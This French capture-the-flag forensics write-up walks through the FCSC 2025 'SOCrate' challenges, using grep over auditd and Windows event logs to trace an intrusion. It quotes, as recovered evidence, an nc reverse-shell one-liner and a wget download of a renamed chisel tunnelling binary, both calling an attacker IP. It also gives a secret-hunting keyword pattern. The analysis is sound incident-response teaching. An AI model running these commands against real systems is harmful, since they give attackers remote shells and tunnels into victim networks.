Écurie pwn !

SOCrate

Prunus -

Ce challenge est une suite de challenges forensics. Nous avons à disposition une archive socrate.tar.xz

SOCrate 1/6

Pour commencer, nous allons décompresser cette archive.

Elle contient un dossier socrate qui contient lui-même 2 dossiers :

  • linux
  • windows

Dans le dossier linux on a tout un tas de fichiers .log (qui contiennent des logs auditd)

Dans le dossier windows on a tout un tas de fichiers .evtx (des fichiers de logs d'evenements windows)

Pour cette première partie, pour valider le flag, nous recherchons un flag contenant le chemin du dossier de l'application web touchée par une attaque.

Nous allons faire un grep sur les fichiers de logs linux pour voir si on trouve quelque chose (ou pas)

kali@Tyrell:~/FCSC/2025/Intro/SOCrate 1/socrate/linux$ grep "/var/www" *
20230613T010501.log:node=webserver type=CWD msg=audit(1686618160.945:2385): cwd="/var/www/app/banque_paouf"
20230613T080001.log:node=webserver type=CWD msg=audit(1686642946.205:2837): cwd="/var/www/app/banque_paouf"
20230613T080001.log:node=webserver type=CWD msg=audit(1686642946.217:2838): cwd="/var/www/app/banque_paouf"
20230613T080001.log:node=webserver type=CWD msg=audit(1686642946.401:2839): cwd="/var/www/app/banque_paouf"
20230613T080001.log:node=webserver type=CWD msg=audit(1686642947.005:2840): cwd="/var/www/app/banque_paouf"
20230613T080001.log:node=webserver type=CWD msg=audit(1686642947.545:2841): cwd="/var/www/app/banque_paouf"
20230613T080001.log:node=webserver type=CWD msg=audit(1686642947.557:2842): cwd="/var/www/app/banque_paouf"

On voit ici le chemin /var/www/app/banque_paouf.

Le flag est donc :

FCSC{/var/www/app/banque_paouf}

SOCrate 2/6

Dans des logs auditd, on a plusieurs type d'évènements.

La liste des évènements est documentée et disponible ici :

https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/6/html/security_guide/sec-audit_record_types

Le type qui va nous intéresser ici c'est le type EXECVE.
Étant donné qu'on nous parle de reverse shell, on va aussi chercher si nc a été utilisé :

kali@Tyrell:~/FCSC/2025/Intro/SOCrate 1/socrate/linux$ grep 'type=EXECVE' *.log | grep "a0=\"nc\""
20230613T084001.log:node=webserver type=EXECVE msg=audit(1686645537.006:2908): argc=3 a0="nc" a1="80.125.9.58" a2="50012"
20230613T085501.log:node=webserver type=EXECVE msg=audit(1686646291.694:2925): argc=3 a0="nc" a1="80.125.9.58" a2="50012"
20230613T091501.log:node=webserver type=EXECVE msg=audit(1686647402.162:3103): argc=3 a0="nc" a1="80.125.9.58" a2="50011"
20230613T144001.log:node=webserver type=EXECVE msg=audit(1686666986.266:3616): argc=3 a0="nc" a1="80.125.9.58" a2="50011"
20230614T073001.log:node=webserver type=EXECVE msg=audit(1686727729.598:9853): argc=3 a0="nc" a1="80.125.9.58" a2="50011"
20230614T120501.log:node=webserver type=EXECVE msg=audit(1686744125.822:11671): argc=3 a0="nc" a1="80.125.9.58" a2="50011"
20230614T150001.log:node=webserver type=EXECVE msg=audit(1686754795.777:12023): argc=3 a0="nc" a1="80.125.9.58" a2="50011"
20230615T095501.log:node=webserver type=EXECVE msg=audit(1686822718.809:13567): argc=3 a0="nc" a1="80.125.9.58" a2="50011"
20230615T114001.log:node=webserver type=EXECVE msg=audit(1686829198.337:13779): argc=3 a0="nc" a1="80.125.9.58" a2="50011"
20230616T064001.log:node=webserver type=EXECVE msg=audit(1686897309.724:17235): argc=3 a0="nc" a1="80.125.9.58" a2="50011"
20230616T081501.log:node=webserver type=EXECVE msg=audit(1686903192.936:18128): argc=3 a0="nc" a1="80.125.9.58" a2="50011"
20230616T081501.log:node=webserver type=EXECVE msg=audit(1686903250.147:18171): argc=3 a0="nc" a1="80.125.9.58" a2="50011"
20230616T090501.log:node=webserver type=EXECVE msg=audit(1686906198.506:18547): argc=3 a0="nc" a1="80.125.9.57" a2="50012"

On voit ici que nc a bien utilisé. Le problème c'est que l'on a pas, ici, la commande complète. On va essayer de chercher avec l'adresse IP que l'on voit ici : 80.125.9.58

kali@Tyrell:~/FCSC/2025/Intro/SOCrate 1/socrate/linux$ grep 'type=EXECVE' *.log | grep '80\.125\.9\.58' -C 5
20230613T084001.log:node=webserver type=EXECVE msg=audit(1686645535.854:2903): argc=3 a0="/bin/bash" a1="-c" a2=726D202F746D702F663B6D6B6669666F202F746D702F663B636174202F746D702F667C2F62696E2F7368202D6920323E26317C6E632038302E3132352E392E3538203530303132203E2F746D702F66
20230613T084001.log:node=webserver type=EXECVE msg=audit(1686645536.134:2904): argc=2 a0="rm" a1="/tmp/f"
20230613T084001.log:node=webserver type=EXECVE msg=audit(1686645536.402:2905): argc=2 a0="mkfifo" a1="/tmp/f"
20230613T084001.log:node=webserver type=EXECVE msg=audit(1686645536.726:2907): argc=2 a0="cat" a1="/tmp/f"
20230613T084001.log:node=webserver type=EXECVE msg=audit(1686645536.718:2906): argc=2 a0="/bin/sh" a1="-i"
20230613T084001.log:node=webserver type=EXECVE msg=audit(1686645537.006:2908): argc=3 a0="nc" a1="80.125.9.58" a2="50012"

On a rajouté l'option -C 5 ici pour prendre les 5 lignes précédentes en plus du motif qu'on cherche (si on avait voulu les 5 suivants, on aurait fait -A 5).

On remarque la ligne :

20230613T084001.log:node=webserver type=EXECVE msg=audit(1686645535.854:2903): argc=3 a0="/bin/bash" a1="-c" a2=726D202F746D702F663B6D6B6669666F202F746D702F663B636174202F746D702F667C2F62696E2F7368202D6920323E26317C6E632038302E3132352E392E3538203530303132203E2F746D702F66

Si on décode cette chaîne hexadecimale on obtient :

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f

Le flag est donc :

FCSC{rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80.125.9.58 50012 >/tmp/f}

SOCrate 3/6

Comme dans l'épreuve précédente, nous allons chercher un évènement de type EXECVE dans les logs auditd mais cette fois en recherchant si on ne trouve pas une connexion vers la machine 80.125.9.58 étant donné qu'il a utilisé le reverse shell de l'épreuve 2 pour récupérer un outil.

kali@Tyrell:~/FCSC/2025/Intro/SOCrate 1/socrate/linux$ grep 'type=EXECVE' *.log | grep "80.125.9.58\:"
20230613T085501.log:node=webserver type=EXECVE msg=audit(1686646380.058:2930): argc=2 a0="wget" a1="http://80.125.9.58:80/text"
20230613T085501.log:node=webserver type=EXECVE msg=audit(1686646457.298:2936): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"
20230613T085501.log:node=webserver type=EXECVE msg=audit(1686646495.838:2979): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"
20230613T085501.log:node=webserver type=EXECVE msg=audit(1686646496.814:2999): argc=5 a0="./text" a1="client" a2="-v" a3="80.125.9.58:4444" a4="R:socks"
20230613T090001.log:node=webserver type=EXECVE msg=audit(1686646703.870:3009): argc=2 a0="wget" a1="http://80.125.9.58:80/text"
20230613T090001.log:node=webserver type=EXECVE msg=audit(1686646786.782:3054): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"
20230613T090001.log:node=webserver type=EXECVE msg=audit(1686646788.150:3074): argc=5 a0="./text" a1="client" a2="-v" a3="80.125.9.58:4444" a4="R:socks"
20230613T144001.log:node=webserver type=EXECVE msg=audit(1686666962.758:3585): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"
20230613T144001.log:node=webserver type=EXECVE msg=audit(1686666964.238:3605): argc=5 a0="./text" a1="client" a2="-v" a3="80.125.9.58:4444" a4="R:socks"
20230613T144001.log:node=webserver type=EXECVE msg=audit(1686666998.754:3620): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"
20230613T144001.log:node=webserver type=EXECVE msg=audit(1686667000.334:3640): argc=5 a0="./text" a1="client" a2="-v" a3="80.125.9.58:4444" a4="R:socks"
20230614T073001.log:node=webserver type=EXECVE msg=audit(1686727788.610:9857): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"
20230614T073001.log:node=webserver type=EXECVE msg=audit(1686727789.598:9877): argc=5 a0="./text" a1="client" a2="-v" a3="80.125.9.58:4444" a4="R:socks"
20230614T120501.log:node=webserver type=EXECVE msg=audit(1686744146.614:11675): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"
20230614T120501.log:node=webserver type=EXECVE msg=audit(1686744147.734:11695): argc=5 a0="./text" a1="client" a2="-v" a3="80.125.9.58:4444" a4="R:socks"
20230614T150501.log:node=webserver type=EXECVE msg=audit(1686754807.165:12027): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"
20230614T150501.log:node=webserver type=EXECVE msg=audit(1686754808.277:12047): argc=5 a0="./text" a1="client" a2="-v" a3="80.125.9.58:4444" a4="R:socks"
20230615T095501.log:node=webserver type=EXECVE msg=audit(1686822735.569:13571): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"
20230615T095501.log:node=webserver type=EXECVE msg=audit(1686822736.877:13593): argc=5 a0="./text" a1="client" a2="-v" a3="80.125.9.58:4444" a4="R:socks"
20230615T114501.log:node=webserver type=EXECVE msg=audit(1686829485.797:13789): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"
20230615T114501.log:node=webserver type=EXECVE msg=audit(1686829487.021:13809): argc=5 a0="./text" a1="client" a2="-v" a3="80.125.9.58:4444" a4="R:socks"
20230616T064001.log:node=webserver type=EXECVE msg=audit(1686897329.612:17239): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"
20230616T064001.log:node=webserver type=EXECVE msg=audit(1686897331.032:17259): argc=5 a0="./text" a1="client" a2="-v" a3="80.125.9.58:4444" a4="R:socks"
20230616T081501.log:node=webserver type=EXECVE msg=audit(1686903216.819:18132): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"
20230616T081501.log:node=webserver type=EXECVE msg=audit(1686903218.419:18152): argc=5 a0="./text" a1="client" a2="-v" a3="80.125.9.58:4444" a4="R:socks"
20230616T083001.log:node=webserver type=EXECVE msg=audit(1686904064.202:18267): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"
20230616T083001.log:node=webserver type=EXECVE msg=audit(1686904065.318:18287): argc=5 a0="./text" a1="client" a2="-v" a3="80.125.9.58:4444" a4="R:socks"

On remarque cette ligne

20230613T085501.log:node=webserver type=EXECVE msg=audit(1686646457.298:2936): argc=6 a0="sudo" a1="./text" a2="client" a3="-v" a4="80.125.9.58:4444" a5="R:socks"

L'outil exécuté localement s'appelle text. Cela correspond au deuxième téléchargement (wget http://80.125.9.58:80/text), qui sauvegarde le fichier distant /text sous le nom local text.

Donc, l'URL utilisée pour télécharger l'outil qui a ensuite été exécuté est http://80.125.9.58:80/text.

Le fichier téléchargé depuis l'URL .../text est exécuté localement comme ./text. La question nous dit que le binaire a été renommé, ce qui implique que son nom original n'était probablement pas text. Comment le trouver ? Il faut analyser les arguments de la commande :

./text client -v 80.125.9.58:4444 R:socks

Ces arguments sont très caractéristiques :

  • client : Indique que l'outil agit en mode client.
  • 80.125.9.58:4444 : Le serveur auquel se connecter.
  • R:socks : Spécifie la création d'un Reverse proxy SOCKS.

Cette syntaxe, en particulier le R:socks pour un reverse proxy SOCKS, est la signature typique de l'outil de tunneling open-source Chisel.

La commande standard pour Chisel serait proche de : chisel client <serveur>:<port> R:socks

Il est donc très probable que le fichier text téléchargé soit en réalité le binaire chisel. L'attaquant l'a hébergé sur son serveur sous le nom text et l'a téléchargé, puis exécuté localement comme ./text.

On a donc :

Le flag :

FCSC{http://80.125.9.58:80/text|chisel}

SOCrate 4/6

Cette fois dans cette épreuve, nous allons exploiter la totalité des logs (Windows et Linux).

J'ai converti les fichiers evtx en xml pour pouvoir grep dedans plus facilement.

Côté serveur, on va essayer d'identifier vers où le webserver veut se connecter. Pour cela, on a l'information que la cible est un serveur LDAP (port 389).
Côté auditd on va chercher le type d'évenement SOCKADDR.

kali@Tyrell:~/FCSC/2025/Intro/SOCrate 1/socrate/linux$ grep 'type=SOCKADDR' *.log | grep "lport=389"
20230613T144001.log:node=webserver type=SOCKADDR msg=audit(1686667107.290:4001): saddr=02000185AC102D6E0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.45.110 lport=389 }
20230614T092501.log:node=webserver type=SOCKADDR msg=audit(1686734630.410:10326): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T092501.log:node=webserver type=SOCKADDR msg=audit(1686734696.742:10327): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T093001.log:node=webserver type=SOCKADDR msg=audit(1686734743.954:10328): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T093001.log:node=webserver type=SOCKADDR msg=audit(1686734752.290:10329): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T120501.log:node=webserver type=SOCKADDR msg=audit(1686744162.250:11704): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T121001.log:node=webserver type=SOCKADDR msg=audit(1686744361.786:11719): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T121001.log:node=webserver type=SOCKADDR msg=audit(1686744463.470:11778): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T121501.log:node=webserver type=SOCKADDR msg=audit(1686744855.454:11793): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T121501.log:node=webserver type=SOCKADDR msg=audit(1686744888.450:11794): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T121501.log:node=webserver type=SOCKADDR msg=audit(1686744900.682:11795): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T122001.log:node=webserver type=SOCKADDR msg=audit(1686744946.822:11809): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T122001.log:node=webserver type=SOCKADDR msg=audit(1686744963.250:11810): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T122001.log:node=webserver type=SOCKADDR msg=audit(1686744966.854:11811): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T150501.log:node=webserver type=SOCKADDR msg=audit(1686754850.041:12078): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T150501.log:node=webserver type=SOCKADDR msg=audit(1686754855.785:12082): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T150501.log:node=webserver type=SOCKADDR msg=audit(1686755015.753:12085): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }
20230614T151001.log:node=webserver type=SOCKADDR msg=audit(1686755136.133:12088): saddr=02000185AC102A0A0000000000000000 SADDR={ saddr_fam=inet laddr=172.16.42.10 lport=389 }

On a l'adresse IP 172.16.42.10 qui se connecte bien depuis le webserveur vers une machine LDAP.

On va maintenant chercher dans les fichiers de log Windows si on trouve le nom de domaine de la machine LDAP.

┌──(root㉿Tyrell)-[/home/kali/FCSC/2025/Intro/SOCrate 1/socrate/windows_extracted]
└─# rgrep -A 10 --color=auto "ldap" *

20230612T183827.xml:    <Data Name="TargetInfo">ldap/DC01-SRV.cipherpol.gouv/cipherpol.gouv</Data>
20230612T183827.xml-    <Data Name="ProcessId">0x13d8</Data>
20230612T183827.xml-    <Data Name="ProcessName">C:\Windows\System32\wbem\WmiPrvSE.exe</Data>
20230612T183827.xml-    <Data Name="IpAddress">-</Data>
20230612T183827.xml-    <Data Name="IpPort">-</Data>
20230612T183827.xml-  </EventData>
20230612T183827.xml-</Event>
20230612T183827.xml-Record 2393
20230612T183827.xml-<?xml version="1.0" encoding="utf-8"?>
20230612T183827.xml-<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
20230612T183827.xml-  <System>

On a ici ldap/DC01-SRV.cipherpol.gouv/cipherpol.gouv

On a donc le flag :

FCSC{172.16.42.10|DC01-SRV.cipherpol.gouv}

SOCrate 5/6

On nous dit ici que l'attaquant cherche à récupérer un fichier sensible.

Nous allons faire une recherche dans les fichiers xml pour voir si on n'a pas une information là-dessus.

Pour celà, on peut utiliser une commande comme celle ci :

grep -i -E 'secret|password|key|private|backup|dump|flag|confidential|\.pem|\.key|\.pfx|\.kdbx|\.zip|\.rar' -C 10

Dans tout le flot de sortie on a :

<Event>
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{...}"/>
    <EventID>5145</EventID>
    ...
    <Computer>WORKSTATION2.cipherpol.gouv</Computer>
    ...
  </System>
  <EventData>
    <Data Name="SubjectUserName">Administrator</Data>
    <Data Name="SubjectDomainName">CIPHERPOL</Data>
    ...
    <Data Name="ObjectType">File</Data>
    <Data Name="IpAddress">172.16.45.110</Data>  <-- REGARDEZ ICI !
    <Data Name="IpPort">35626</Data>
    <Data Name="ShareName">\\*\C$</Data>
    <Data Name="ShareLocalPath">\??\C:\</Data>
    <Data Name="RelativeTargetName">Users\jeanne.dias\.ssh\vm1.pem</Data>
    <Data Name="AccessMask">0x1</Data>
    ...
  </EventData>
</Event>

Analyse de cet événement 5145 :

  • Il est enregistré sur WORKSTATION2.cipherpol.gouv ().
  • Il concerne l'accès à un objet de type Fichier (File).
  • Le fichier accédé via le partage C$ est Users\jeanne.dias.ssh\vm1.pem ().
  • L'accès est fait par l'utilisateur CIPHERPOL\Administrator ().
  • L'accès provient de l'adresse IP 172.16.45.110 ().

On a donc :

  • FQDN_VICTIME : WORKSTATION2.cipherpol.gouv (identifié via les commandes icacls/takeown et l'Event 5145)
  • CHEMIN_ABSOLU : C:\Users\jeanne.dias.ssh\vm1.pem (identifié via les commandes icacls/takeown et l'Event 5145)
  • IP_SOURCE : 172.16.45.110 (identifié via l'Event 5145 comme source de l'accès au fichier)

Le flag est donc :

FCSC{WORKSTATION2.cipherpol.gouv|C:\Users\jeanne.dias\.ssh\vm1.pem|172.16.45.110}

SOCrate 6/6

Récapitulons :

  • L'attaquant, agissant en tant que CIPHERPOL\Administrator, a exécuté les commandes takeown.exe et icacls.exe sur la machine WORKSTATION2.cipherpol.gouv pour modifier les permissions du fichier C:\Users\jeanne.dias.ssh\vm1.pem.
  • Ces commandes ont été lancées depuis l'adresse IP 172.16.45.110.
  • En examinant les logs Sysmon/4688 que l'on a trouvé dans la sortie du grep "\.pem" (que je n'ai pas détaillé ici car trop long), nous avons vu que le processus parent (ParentProcessName ou ParentImage) de cmd.exe qui lançait takeown/icacls était souvent C:\Windows\System32\wbem\WmiPrvSE.exe.

WmiPrvSE.exe est le processus hôte du fournisseur WMI (Windows Management Instrumentation). Le fait qu'il soit le parent des cmd.exe exécutant takeown et icacls indique très fortement que ces commandes ont été lancées à distance via WMI.

WMI est un mécanisme légitime de Windows mais il est massivement utilisé par les attaquants et les outils de pentest pour le mouvement latéral et l'exécution de commandes à distance sur des machines Windows, car il est souvent autorisé par les pare-feux et ne nécessite pas l'installation d'un agent sur la cible (si on a des identifiants valides, comme Administrator ici).

Plusieurs outils offensifs utilisent WMI pour l'exécution à distance, mais l'un des plus connus et des plus utilisés, surtout dans le contexte Linux -> Windows, est la suite Impacket

Étant donné que l'exécution a été tracée via WmiPrvSE.exe, un outil comme wmiexec.py de la suite Impacket correspond parfaitement à la description "d'outil offensif bien connu" utilisant cette technique.

Le flag est :

FCSC{impacket}

** L'IA a été utilisé notemment pour accélérer la recherche d'information au sein de gros résultats pour gagner du temps.